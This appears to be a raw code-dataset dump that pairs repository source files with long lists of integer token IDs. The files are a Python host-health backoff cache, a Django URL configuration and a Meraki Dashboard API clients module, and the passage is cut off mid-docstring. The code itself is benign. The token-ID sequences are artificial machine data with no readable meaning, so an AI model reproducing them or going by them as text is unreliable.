3986,
518,
13,
9651,
18793,
29966,
29898,
3267,
5513,
1275,
376,
5080,
29908,
742,
426,
13,
795,
525,
1516,
4282,
29918,
10154,
842,
2396,
525,
29894,
29896,
29946,
29896,
742,
13,
795,
525,
1753,
1475,
2396,
518,
13,
18884,
525,
29940,
6488,
1177,
12648,
742,
13,
18884,
22868,
3308,
4214,
29918,
29963,
29896,
29896,
29900,
29918,
26912,
29955,
29896,
29918,
742,
13,
18884,
525,
29911,
22928,
29949,
5690,
29918,
25152,
29990,
29925,
29918,
21514,
1299,
742,
13,
18884,
525,
8851,
15176,
9472,
29918,
25152,
742,
13,
795,
21251,
13,
795,
525,
492,
8464,
2396,
518,
13,
18884,
525,
5080,
4317,
742,
13,
18884,
525,
5652,
29906,
29918,
29941,
29906,
742,
13,
18884,
525,
17460,
29941,
29906,
742,
13,
18884,
525,
1792,
29941,
29906,
742,
13,
795,
21251,
13,
795,
525,
1516,
4270,
29918,
1270,
29887,
5080,
29918,
15903,
2396,
29871,
29900,
29892,
13,
795,
525,
1516,
4270,
29918,
11027,
2396,
426,
13,
18884,
525,
29963,
4174,
29931,
25333,
12229,
2396,
426,
13,
462,
29871,
525,
9283,
1469,
5160,
17020,
2396,
525,
12330,
3744,
9170,
18775,
12330,
7653,
1170,
467,
29886,
2585,
742,
13,
462,
29871,
525,
11862,
20350,
5809,
2396,
525,
29941,
742,
3986,
396,
7835,
5470,
20374,
29999,
29875,
29897,
13,
462,
29871,
525,
2528,
3245,
5856,
2396,
518,
13,
462,
1678,
8207,
3580,
742,
259,
396,
1174,
519,
2473,
1889,
2048,
29889,
13,
462,
1678,
8207,
29923,
29950,
1557,
742,
396,
315,
905,
315,
1817,
15283,
871,
29892,
3622,
315,
3168,
2360,
3183,
263,
315,
1817,
3682,
29889,
13,
462,
1678,
8207,
9970,
29946,
29900,
29953,
29947,
742,
396,
3295,
519,
376,
27392,
315,
29946,
29900,
29953,
29947,
29901,
9815,
282,
23929,
29908,
13,
462,
29871,
21251,
13,
462,
29871,
525,
29911,
276,
271,
29956,
5914,
29918,
29873,
2887,
3727,
2782,
797,
1542,
2396,
525,
4541,
742,
13,
18884,
2981,
13,
795,
2981,
13,
795,
525,
1516,
4270,
29918,
23176,
29918,
16409,
29918,
4282,
29918,
9006,
2396,
518,
13,
18884,
525,
29876,
262,
1764,
29889,
8097,
742,
13,
18884,
17411,
29907,
742,
13,
18884,
525,
12330,
3744,
9170,
29897,
742,
13,
18884,
17411,
29895,
29900,
742,
13,
18884,
525,
12330,
7653,
1170,
29897,
742,
13,
795,
21251,
13,
795,
525,
2917,
332,
800,
2396,
426,
13,
18884,
525,
11862,
2396,
426,
13,
462,
29871,
525,
1753,
1475,
2396,
518,
13,
462,
1678,
22868,
18525,
742,
13,
462,
29871,
21251,
13,
462,
29871,
525,
2856,
29918,
3972,
29879,
2396,
518,
13,
462,
1678,
12801,
29898,
2287,
29925,
4690,
6802,
21546,
6995,
29931,
4626,
4314,
29914,
22156,
2536,
29914,
11862,
29914,
2856,
742,
13,
462,
29871,
21251,
13,
462,
29871,
525,
1516,
4270,
29918,
11027,
2396,
426,
13,
462,
1678,
525,
29963,
4174,
29931,
25333,
12229,
2396,
426,
13,
462,
418,
525,
20624,
326,
2133,
2396,
525,
29900,
742,
18884,
396,
3295,
3606,
20374,
29949,
29881,
29897,
13,
462,
418,
525,
7944,
12284,
2396,
525,
29896,
742,
795,
396,
14974,
29899,
7097,
287,
16171,
20374,
11490,
29881,
29897,
13,
462,
418,
525,
7944,
1542,
3401,
2396,
525,
3009,
742,
13,
462,
1678,
2981,
13,
462,
1678,
525,
29963,
6154,
4626,
13956,
12229,
2396,
426,
13,
462,
418,
525,
2528,
3245,
5856,
2396,
518,
13,
462,
4706,
8207,
6632,
23397,
5265,
29933,
29901,
5265,
5371,
11490,
29915,
13,
462,
418,
4514,
13,
462,
1678,
500,
13,
462,
29871,
2981,
13,
18884,
2981,
13,
18884,
525,
19729,
2396,
426,
13,
462,
29871,
525,
1753,
1475,
2396,
518,
13,
462,
1678,
525,
29940,
18525,
742,
13,
462,
29871,
21251,
13,
462,
29871,
525,
2856,
29918,
3972,
29879,
2396,
518,
13,
462,
268,
12801,
29898,
2287,
29925,
4690,
6802,
21546,
6995,
29931,
4626,
4314,
29914,
22156,
2536,
29914,
19729,
29914,
2856,
742,
13,
462,
29871,
21251,
13,
462,
29871,
525,
1516,
4270,
29918,
11027,
2396,
426,
13,
462,
1678,
525,
29963,
4174,
29931,
25333,
12229,
2396,
426,
13,
462,
418,
525,
20624,
326,
2133,
2396,
525,
29906,
742,
462,
396,
22128,
675,
24839,
20374,
29949,
29906,
29897,
13,
462,
418,
525,
797,
1220,
6678,
9544,
9454,
2396,
525,
29906,
742,
418,
396,
3139,
13907,
20374,
6039,
29906,
29897,
13,
462,
418,
525,
20701,
797,
509,
28594,
6678,
29879,
2396,
525,
3009,
742,
29871,
396,
3869,
20374,
29949,
29875,
29897,
13,
462,
418,
525,
29943,
17118,
3505,
2816,
26539,
2396,
525,
29896,
742,
632,
396,
383,
17118,
5172,
775,
20374,
29949,
29873,
29897,
13,
462,
418,
525,
7944,
12284,
2396,
525,
29900,
742,
1669,
396,
14974,
29899,
7097,
287,
20374,
11490,
29897,
13,
462,
418,
525,
20701,
2369,
29308,
3379,
4080,
2697,
2396,
525,
29906,
742,
396,
13763,
292,
22717,
5773,
7338,
5580,
29871,
29906,
20374,
1279,
29901,
29903,
1660,
29906,
29897,
13,
462,
418,
525,
22110,
280,
9283,
20624,
326,
2133,
2396,
525,
3009,
742,
29871,
396,
847,
7239,
13,
462,
1678,
2981,
13,
462,
1678,
525,
29963,
6154,
4626,
13956,
12229,
2396,
426,
13,
462,
418,
525,
2528,
3245,
5856,
2396,
518,
13,
462,
4706,
8207,
5850,
11135,
742,
13,
462,
418,
4514,
13,
462,
1678,
2981,
13,
462,
29871,
2981,
13,
18884,
2981,
13,
795,
2981,
13,
9651,
2981,
13,
3986,
21251,
13,
3986,
518,
13,
9651,
18793,
29966,
29898,
3267,
5513,
1275,
376,
9389,
29908,
742,
426,
13,
795,
525,
1753,
1475,
2396,
518,
13,
18884,
525,
8851,
15176,
9472,
29918,
24815,
6415,
742,
13,
18884,
525,
8851,
15176,
9472,
29918,
23714,
29965,
29990,
742,
13,
795,
21251,
13,
795,
525,
1116,
2187,
2396,
518,
13,
18884,
518,
18793,
29966,
13311,
348,
420,
448,
29885,
5513,
1275,
376,
29875,
29953,
29947,
29953,
29908,
742,
426,
13,
462,
29871,
525,
29883,
15764,
29918,
617,
2396,
518,
13,
462,
1678,
17411,
1516,
344,
29906,
742,
13,
462,
29871,
21251,
13,
18884,
500,
29962,
13,
795,
21251,
13,
795,
525,
11851,
29918,
18980,
29918,
11027,
2396,
426,
13,
18884,
525,
492,
8464,
2396,
518,
13,
13,
18884,
21251,
13,
795,
2981,
13,
9651,
2981,
13,
3986,
21251,
13,
4706,
21251,
13,
418,
2981,
13,
1678,
21251,
13,
29871,
500,
13,
2
] |
src/lib/sd2/host_health.py | zachkont/sd2 | 0 | 76892 | #!/usr/bin/env python
#############################################################################
# Copyright (c) 2017 SiteWare Corp. All right reserved
#############################################################################
"""A small cache that keeps track of unhealthy hosts and backs off from using
them"""
import time
import logging
unhealthy_hosts = {}
def set_host_unhealthy(hostname):
logging.warning("HH:SHOU %s", hostname)
entry = unhealthy_hosts.get(hostname)
if entry is None:
entry = {
'successes':0,
'failures': 5 # very first time unhealthy? shut it down...
}
unhealthy_hosts[hostname] = entry
entry["failures"] += 1
entry["timestamp"] = time.time()
logging.warning("HH:SHOU:LL {} {}".format(hostname, entry))
def set_host_healthy(hostname):
logging.debug("HH:SHOH %s", hostname)
entry = unhealthy_hosts.get(hostname)
if entry is None:
entry = {
'timestamp': time.time(),
'successes': 0,
}
unhealthy_hosts[hostname] = entry
entry['successes'] += 1
entry['failures'] = 0
def is_host_healthy(hostname):
hostentry = unhealthy_hosts.get(hostname)
if hostentry is None:
return True
if (hostentry.get('failures') and
(time.time() - hostentry['timestamp']) < min(60 * 60, 2 ^ hostentry['failures'])) :
logging.warning("HH:IHOU {} {}".format(hostname, hostentry))
return False
return True
def set_host_health(hostname, is_healthy):
if is_healthy:
set_host_healthy(hostname)
else:
set_host_unhealthy(hostname) | [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13383,
13383,
13383,
13383,
7346,
4136,
29937,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29955,
10781,
29956,
598,
2994,
29886,
29889,
2178,
1492,
21676,
13,
13383,
13383,
13383,
13383,
7346,
4136,
29937,
13,
15945,
29908,
29909,
2319,
7090,
393,
14874,
5702,
310,
443,
354,
4298,
29891,
18982,
322,
1250,
29879,
1283,
515,
773,
13,
386,
331,
15945,
29908,
13,
13,
5215,
931,
13,
5215,
12183,
13,
13,
348,
354,
4298,
29891,
29918,
23525,
353,
6571,
13,
13,
13,
1753,
731,
29918,
3069,
29918,
348,
354,
4298,
29891,
29898,
28988,
1125,
13,
1678,
12183,
29889,
27392,
703,
27590,
29901,
7068,
27269,
1273,
29879,
613,
3495,
978,
29897,
13,
1678,
6251,
353,
443,
354,
4298,
29891,
29918,
23525,
29889,
657,
29898,
28988,
29897,
13,
1678,
565,
6251,
338,
6213,
29901,
13,
4706,
6251,
353,
426,
13,
9651,
525,
8698,
267,
2396,
29900,
29892,
13,
9651,
525,
14057,
1973,
2396,
29871,
29945,
396,
1407,
937,
931,
443,
354,
4298,
29891,
29973,
12522,
372,
1623,
856,
13,
4706,
500,
13,
4706,
443,
354,
4298,
29891,
29918,
23525,
29961,
28988,
29962,
353,
6251,
29871,
13,
1678,
6251,
3366,
14057,
1973,
3108,
4619,
29871,
29896,
13,
1678,
6251,
3366,
16394,
3108,
353,
931,
29889,
2230,
580,
13,
1678,
12183,
29889,
27392,
703,
27590,
29901,
7068,
27269,
29901,
2208,
6571,
6571,
1642,
4830,
29898,
28988,
29892,
6251,
876,
13,
13,
13,
1753,
731,
29918,
3069,
29918,
354,
4298,
29891,
29898,
28988,
1125,
13,
1678,
12183,
29889,
8382,
703,
27590,
29901,
7068,
23170,
1273,
29879,
613,
3495,
978,
29897,
13,
1678,
6251,
353,
443,
354,
4298,
29891,
29918,
23525,
29889,
657,
29898,
28988,
29897,
13,
1678,
565,
6251,
338,
6213,
29901,
13,
4706,
6251,
353,
426,
13,
9651,
525,
16394,
2396,
931,
29889,
2230,
3285,
13,
9651,
525,
8698,
267,
2396,
29871,
29900,
29892,
13,
4706,
500,
13,
4706,
443,
354,
4298,
29891,
29918,
23525,
29961,
28988,
29962,
353,
6251,
13,
1678,
6251,
1839,
8698,
267,
2033,
4619,
29871,
29896,
13,
1678,
6251,
1839,
14057,
1973,
2033,
353,
29871,
29900,
13,
13,
13,
1753,
338,
29918,
3069,
29918,
354,
4298,
29891,
29898,
28988,
1125,
13,
1678,
3495,
8269,
353,
443,
354,
4298,
29891,
29918,
23525,
29889,
657,
29898,
28988,
29897,
13,
1678,
565,
3495,
8269,
338,
6213,
29901,
13,
4706,
736,
5852,
259,
13,
1678,
565,
313,
3069,
8269,
29889,
657,
877,
14057,
1973,
1495,
322,
29871,
13,
4706,
313,
2230,
29889,
2230,
580,
448,
3495,
8269,
1839,
16394,
11287,
529,
1375,
29898,
29953,
29900,
334,
29871,
29953,
29900,
29892,
29871,
29906,
6228,
3495,
8269,
1839,
14057,
1973,
25901,
584,
13,
4706,
12183,
29889,
27392,
703,
27590,
29901,
29902,
8187,
29965,
6571,
6571,
1642,
4830,
29898,
28988,
29892,
3495,
8269,
876,
13,
4706,
736,
7700,
13,
268,
13,
1678,
736,
5852,
13,
13,
13,
1753,
731,
29918,
3069,
29918,
354,
4298,
29898,
28988,
29892,
338,
29918,
354,
4298,
29891,
1125,
13,
1678,
565,
338,
29918,
354,
4298,
29891,
29901,
13,
4706,
731,
29918,
3069,
29918,
354,
4298,
29891,
29898,
28988,
29897,
13,
1678,
1683,
29901,
13,
4706,
731,
29918,
3069,
29918,
348,
354,
4298,
29891,
29898,
28988,
29897,
268,
2
] |
src/config/urls.py | snicoper/snicoper.com | 2 | 162738 | from django.conf import settings
from django.conf.urls import include, url
from django.contrib import admin
from django.contrib.sitemaps.views import sitemap
from django.views.static import serve
from blog.sitemaps import BlogSitemap
from blog.views import ArticleListView
sitemaps = {
'blog': BlogSitemap
}
# i18n_patterns
urlpatterns = [
##################################################
# / Pagina de inicio.
url(r'^$', ArticleListView.as_view(), name='home_page'),
##################################################
# /accounts/*
url(r'^accounts/', include('accounts.urls')),
# /auth/*
url(r'^auth/', include('authentication.urls')),
# /blog/*
url(r'^blog/', include('blog.urls')),
# /contact/*
url(r'^contact/', include('contact.urls')),
# /home/*
url(r'^home/', include('home.urls')),
# /pages/*
url(r'^pages/', include('pages.urls')),
# /search/*
url(r'^search/', include('search.urls')),
# /stats/*
url(r'^stats/', include('stats.urls')),
# /sitemap.xml
url(
regex=r'^sitemap\.xml$',
view=sitemap,
kwargs={'sitemaps': sitemaps},
name='django.contrib.sitemaps.views.sitemap'
),
# /admin/*
url(r'^admin/', admin.site.urls),
]
if settings.DEBUG:
# static files (images, css, javascript, etc.)
import debug_toolbar
urlpatterns += [
# /media/:<mixed>path/
url(
regex=r'^media/(?P<path>.*)$',
view=serve,
kwargs={'document_root': settings.MEDIA_ROOT}
),
url(r'^__debug__/', include(debug_toolbar.urls)),
]
| [
1,
515,
9557,
29889,
5527,
1053,
6055,
13,
3166,
9557,
29889,
5527,
29889,
26045,
1053,
3160,
29892,
3142,
13,
3166,
9557,
29889,
21570,
1053,
4113,
13,
3166,
9557,
29889,
21570,
29889,
29879,
667,
2547,
29889,
7406,
1053,
269,
667,
481,
13,
3166,
9557,
29889,
7406,
29889,
7959,
1053,
9080,
13,
13,
3166,
12618,
29889,
29879,
667,
2547,
1053,
350,
1188,
29903,
667,
481,
13,
3166,
12618,
29889,
7406,
1053,
21746,
15660,
13,
13,
29879,
667,
2547,
353,
426,
13,
1678,
525,
7312,
2396,
350,
1188,
29903,
667,
481,
13,
29913,
13,
13,
29937,
474,
29896,
29947,
29876,
29918,
11037,
29879,
13,
2271,
11037,
29879,
353,
518,
13,
13,
1678,
835,
13383,
13383,
7346,
4136,
2277,
29937,
13,
1678,
396,
847,
349,
351,
1099,
316,
297,
11088,
29889,
13,
1678,
3142,
29898,
29878,
29915,
29985,
29938,
742,
21746,
15660,
29889,
294,
29918,
1493,
3285,
1024,
2433,
5184,
29918,
3488,
5477,
13,
1678,
835,
13383,
13383,
7346,
4136,
2277,
29937,
13,
13,
1678,
396,
847,
10149,
29879,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
10149,
29879,
29914,
742,
3160,
877,
10149,
29879,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
5150,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
5150,
29914,
742,
3160,
877,
23055,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
7312,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
7312,
29914,
742,
3160,
877,
7312,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
12346,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
12346,
29914,
742,
3160,
877,
12346,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
5184,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
5184,
29914,
742,
3160,
877,
5184,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
12292,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
12292,
29914,
742,
3160,
877,
12292,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
4478,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
4478,
29914,
742,
3160,
877,
4478,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
16202,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
16202,
29914,
742,
3160,
877,
16202,
29889,
26045,
1495,
511,
13,
13,
1678,
396,
847,
29879,
667,
481,
29889,
3134,
13,
1678,
3142,
29898,
13,
4706,
6528,
29922,
29878,
29915,
29985,
29879,
667,
481,
23301,
3134,
29938,
742,
13,
4706,
1776,
29922,
29879,
667,
481,
29892,
13,
4706,
9049,
5085,
3790,
29915,
29879,
667,
2547,
2396,
269,
667,
2547,
1118,
13,
4706,
1024,
2433,
14095,
29889,
21570,
29889,
29879,
667,
2547,
29889,
7406,
29889,
29879,
667,
481,
29915,
13,
1678,
10353,
13,
13,
1678,
396,
847,
6406,
5515,
13,
1678,
3142,
29898,
29878,
29915,
29985,
6406,
29914,
742,
4113,
29889,
2746,
29889,
26045,
511,
13,
29962,
13,
13,
361,
6055,
29889,
18525,
29901,
13,
1678,
396,
2294,
2066,
313,
8346,
29892,
5997,
29892,
3513,
29892,
2992,
1846,
13,
1678,
1053,
4744,
29918,
10154,
1646,
13,
13,
1678,
3142,
11037,
29879,
4619,
518,
13,
4706,
396,
847,
9799,
24676,
29966,
29885,
11925,
29958,
2084,
29914,
13,
4706,
3142,
29898,
13,
9651,
6528,
29922,
29878,
29915,
29985,
9799,
29914,
10780,
29925,
29966,
2084,
29958,
5575,
1262,
742,
13,
9651,
1776,
29922,
16349,
29892,
13,
9651,
9049,
5085,
3790,
29915,
3225,
29918,
4632,
2396,
6055,
29889,
2303,
4571,
29909,
29918,
21289,
29913,
13,
4706,
10353,
13,
13,
4706,
3142,
29898,
29878,
29915,
29985,
1649,
8382,
1649,
29914,
742,
3160,
29898,
8382,
29918,
10154,
1646,
29889,
26045,
8243,
13,
1678,
4514,
13,
2
] |
meraki/modules/clients.py | fgbs/meraki-dashboard-api | 2 | 95088 | <gh_stars>1-10
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from .base import Base
from meraki.exceptions import NetworkIdMissing, ClientIdMissing, MacAddressMissing, DevicePolicyMissing
class Clients(Base):
def __init__(self, api_key=None, parent=None):
super(Clients, self).__init__(api_key=api_key)
self._parent = parent
self._name = 'clients'
def list(self, serial=None, timespan=3600):
'''
List the clients of a device, up to a maximum of a month ago.
The usage of each client is returned in kilobytes.
If the device is a switch, the switchport is returned; otherwise the switchport field is null.
'''
if timespan > 2592000:
timespan = 2592000
return self._get_request(self._parent, serial, self._name, parms={'timespan': timespan})
def get(self, network=None, client=None):
'''
Return the client associated with the given identifier.
This endpoint will lookup by client ID or either the MAC or IP depending on whether the network uses Track-by-IP.
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise ClientIdMissing
return self._get_request(self._parent, network, self._name, client)
def provision(self, network=None, mac=None, name='', device_policy=None, group_policy=None):
'''
Provisions a client with a name and policy. Clients can be provisioned before they associate to the network.
PARAMETERS
mac: The MAC address of the client. Required.
name: The display name for the client. Optional. Limited to 255 bytes.
devicePolicy: The policy to apply to the specified client. Can be Whitelisted, Blocked, Normal, and Group policy. Required.
groupPolicyId: The ID of the desired group policy to apply to the client. Required if 'devicePolicy' is set to "Group policy". Otherwise this is ignored.
'''
if network is None:
raise NetworkIdMissing
if mac is None:
raise MacAddressMissing
if device_policy is None:
raise DevicePolicyMissing
data = {
'mac': mac,
'name': name,
'devicePolicy': device_policy
}
if device_policy == 'Group policy':
data.update({
'groupPolicyId': group_policy
})
return self._post_request(self._parent, network, self._name, 'provision', data=data)
def usage_history(self, network=None, client=None):
'''
Return the client's daily usage history. Usage data is in kilobytes.
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise ClientIdMissing
return self._get_request(self._parent, network, self._name, client, 'usageHistory')
def traffic_history(self, network=None, client=None, per_page=30):
'''
Return the client's network traffic data over time.
Usage data is in kilobytes.
This endpoint requires detailed traffic analysis to be enabled on the Network-wide > General page.
PARAMETERS
perPage: The number of entries per page returned
startingAfter: A token used by the server to indicate the start of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, next or prev page in the HTTP Link header should define it.
endingBefore: A token used by the server to indicate the end of the page. Often this is a timestamp or an ID but it is not limited to those. This parameter should not be defined by client applications. The link for the first, last, next or prev page in the HTTP Link header should define it.
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise ClientIdMissing
return self._get_request(self._parent, network, self._name, client, 'trafficHistory', parms={'perPage': per_page})
def events(self, network=None, client=None, per_page=30):
'''
Return the events associated with this client.
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise ClientIdMissing
return self._get_request(self._parent, network, self._name, client, 'events', parms={'perPage': per_page})
def security_events(self, network=None, client=None, timespan=3600, per_page=30):
'''
Return the events associated with this client.
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise ClientIdMissing
if timespan > 2592000:
timespan = 2592000
return self._get_request(self._parent, network, self._name, client, 'securityEvents', parms={'timespan': timespan, 'perPage': per_page})
def latency_history(self, network=None, client=None, t0=0, t1=0, timespan=3600):
'''
Return the latency history for a client.
The latency data is from a sample of 2% of packets and is grouped into 4 traffic categories: background, best effort, video, voice.
Within these categories the sampled packet counters are bucketed by latency in milliseconds.
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise ClientIdMissing
parms = {}
if t0 > 0 and t1 > 0:
parms.update({
't0': t0,
't1': t1
})
else:
parms.update({
'timespan': timespan
})
return self._get_request(self._parent, network, self._name, client, 'latencyHistory', parms=parms)
def policy(self, network=None, client=None, device_policy=None, group_policy=None, timespan=3600):
'''
Return the policy assigned to a client on the network.
OR
Update the policy assigned to a client on the network.
PARAMETERS
devicePolicy: The group policy (Whitelisted, Blocked, Normal, Group policy)
groupPolicyId: If devicePolicy param is set to 'Group policy' this param is used to specify the group ID.
timespan: The timespan for which clients will be fetched. Must be in seconds and less than or equal to a month (2592000 seconds).
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise MacAddressMissing
if timespan > 2592000:
timespan = 2592000
parms = {
'timespan': timespan
}
if device_policy == 'Group policy':
parms.update({
'devicePolicy': device_policy,
'groupPolicyId': group_policy
})
elif device_policy is not None:
parms.update({
'devicePolicy': device_policy
})
return self._get_request(self._parent, network, self._name, client, 'policy', parms=parms)
def splash_auth_status(self, network=None, client=None, ssid=None, is_authorized=False):
'''
Return the splash authorization for a client, for each SSID they've associated with through splash.
OR
Update a client's splash authorization.
PARAMETERS
ssids: The target SSIDs. For each SSID where isAuthorized is true, the expiration time will
automatically be set according to the SSID's splash frequency.
isAuthorized: New authorization status for SSID (true, false).
'''
if network is None:
raise NetworkIdMissing
if client is None:
raise MacAddressMissing
if ssid is not None:
update = {
'ssids': {
ssid: {'isAuthorized': is_authorized}
}
}
return self._put_request(self._parent, network, self._name, client, 'splashAuthorizationStatus', update=update)
else:
return self._get_request(self._parent, network, self._name, client, 'splashAuthorizationStatus')
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
3166,
869,
3188,
1053,
7399,
13,
3166,
2778,
9940,
29889,
11739,
29879,
1053,
8527,
1204,
18552,
292,
29892,
12477,
1204,
18552,
292,
29892,
4326,
7061,
18552,
292,
29892,
21830,
15644,
18552,
292,
13,
13,
13,
1990,
315,
492,
1237,
29898,
5160,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
7882,
29918,
1989,
29922,
8516,
29892,
3847,
29922,
8516,
1125,
13,
4706,
2428,
29898,
29907,
492,
1237,
29892,
1583,
467,
1649,
2344,
12035,
2754,
29918,
1989,
29922,
2754,
29918,
1989,
29897,
13,
4706,
1583,
3032,
3560,
353,
3847,
13,
4706,
1583,
3032,
978,
353,
525,
11303,
1237,
29915,
13,
13,
1678,
822,
1051,
29898,
1311,
29892,
7797,
29922,
8516,
29892,
3064,
8357,
29922,
29941,
29953,
29900,
29900,
1125,
13,
4706,
14550,
13,
4706,
2391,
278,
13154,
310,
263,
4742,
29892,
701,
304,
263,
7472,
310,
263,
4098,
8020,
29889,
29871,
13,
4706,
450,
8744,
310,
1269,
3132,
338,
4133,
297,
4679,
18711,
2167,
29889,
29871,
13,
4706,
960,
278,
4742,
338,
263,
4607,
29892,
278,
4607,
637,
338,
4133,
29936,
6467,
278,
4607,
637,
1746,
338,
1870,
29889,
13,
4706,
14550,
13,
4706,
565,
3064,
8357,
1405,
29871,
29906,
29945,
29929,
29906,
29900,
29900,
29900,
29901,
13,
9651,
3064,
8357,
353,
29871,
29906,
29945,
29929,
29906,
29900,
29900,
29900,
29871,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
7797,
29892,
1583,
3032,
978,
29892,
610,
1516,
3790,
29915,
3706,
8357,
2396,
3064,
8357,
1800,
13,
13,
1678,
822,
679,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
3132,
6942,
411,
278,
2183,
15882,
29889,
29871,
13,
4706,
910,
16248,
674,
16280,
491,
3132,
3553,
470,
2845,
278,
26750,
470,
5641,
8679,
373,
3692,
278,
3564,
3913,
17026,
29899,
1609,
29899,
5690,
29889,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
12477,
1204,
18552,
292,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29897,
13,
13,
1678,
822,
25161,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
5825,
29922,
8516,
29892,
1024,
2433,
742,
4742,
29918,
22197,
29922,
8516,
29892,
2318,
29918,
22197,
29922,
8516,
1125,
13,
4706,
14550,
13,
4706,
1019,
1730,
1080,
263,
3132,
411,
263,
1024,
322,
8898,
29889,
315,
492,
1237,
508,
367,
25161,
287,
1434,
896,
25836,
304,
278,
3564,
29889,
13,
13,
4706,
349,
1718,
25797,
4945,
29903,
13,
9651,
5825,
29901,
9651,
450,
26750,
3211,
310,
278,
3132,
29889,
830,
5958,
29889,
13,
9651,
1024,
29901,
965,
450,
2479,
1024,
363,
278,
3132,
29889,
28379,
29889,
28873,
304,
29871,
29906,
29945,
29945,
6262,
29889,
13,
9651,
4742,
15644,
29901,
259,
450,
8898,
304,
3394,
304,
278,
6790,
3132,
29889,
1815,
367,
806,
7454,
12652,
29892,
15658,
287,
29892,
21981,
29892,
322,
6431,
8898,
29889,
830,
5958,
29889,
13,
9651,
2318,
15644,
1204,
29901,
29871,
450,
3553,
310,
278,
7429,
2318,
8898,
304,
3394,
304,
278,
3132,
29889,
830,
5958,
565,
525,
10141,
15644,
29915,
338,
731,
304,
376,
4782,
8898,
1642,
13466,
445,
338,
17262,
29889,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
5825,
338,
6213,
29901,
13,
9651,
12020,
4326,
7061,
18552,
292,
13,
13,
4706,
565,
4742,
29918,
22197,
338,
6213,
29901,
13,
9651,
12020,
21830,
15644,
18552,
292,
13,
13,
4706,
848,
353,
426,
13,
9651,
525,
8628,
2396,
5825,
29892,
13,
9651,
525,
978,
2396,
1024,
29892,
13,
9651,
525,
10141,
15644,
2396,
4742,
29918,
22197,
13,
4706,
500,
13,
13,
4706,
565,
4742,
29918,
22197,
1275,
525,
4782,
8898,
2396,
13,
9651,
848,
29889,
5504,
3319,
13,
18884,
525,
2972,
15644,
1204,
2396,
2318,
29918,
22197,
13,
9651,
5615,
13,
13,
4706,
736,
1583,
3032,
2490,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
525,
771,
4924,
742,
848,
29922,
1272,
29897,
13,
13,
1678,
822,
8744,
29918,
18434,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
3132,
29915,
29879,
14218,
8744,
4955,
29889,
10783,
482,
848,
338,
297,
4679,
18711,
2167,
29889,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
12477,
1204,
18552,
292,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
21125,
20570,
1495,
13,
13,
1678,
822,
12469,
29918,
18434,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
29892,
639,
29918,
3488,
29922,
29941,
29900,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
3132,
29915,
29879,
3564,
12469,
848,
975,
931,
29889,
29871,
13,
4706,
10783,
482,
848,
338,
297,
4679,
18711,
2167,
29889,
29871,
13,
4706,
910,
16248,
6858,
13173,
12469,
7418,
304,
367,
9615,
373,
278,
8527,
29899,
8157,
1405,
4593,
1813,
29889,
13,
13,
4706,
349,
1718,
25797,
4945,
29903,
13,
9651,
639,
5074,
29901,
4706,
450,
1353,
310,
9976,
639,
1813,
4133,
13,
9651,
6257,
13555,
29901,
29871,
319,
5993,
1304,
491,
278,
1923,
304,
12266,
278,
1369,
310,
278,
1813,
29889,
438,
15535,
445,
338,
263,
14334,
470,
385,
3553,
541,
372,
338,
451,
9078,
304,
1906,
29889,
910,
3443,
881,
451,
367,
3342,
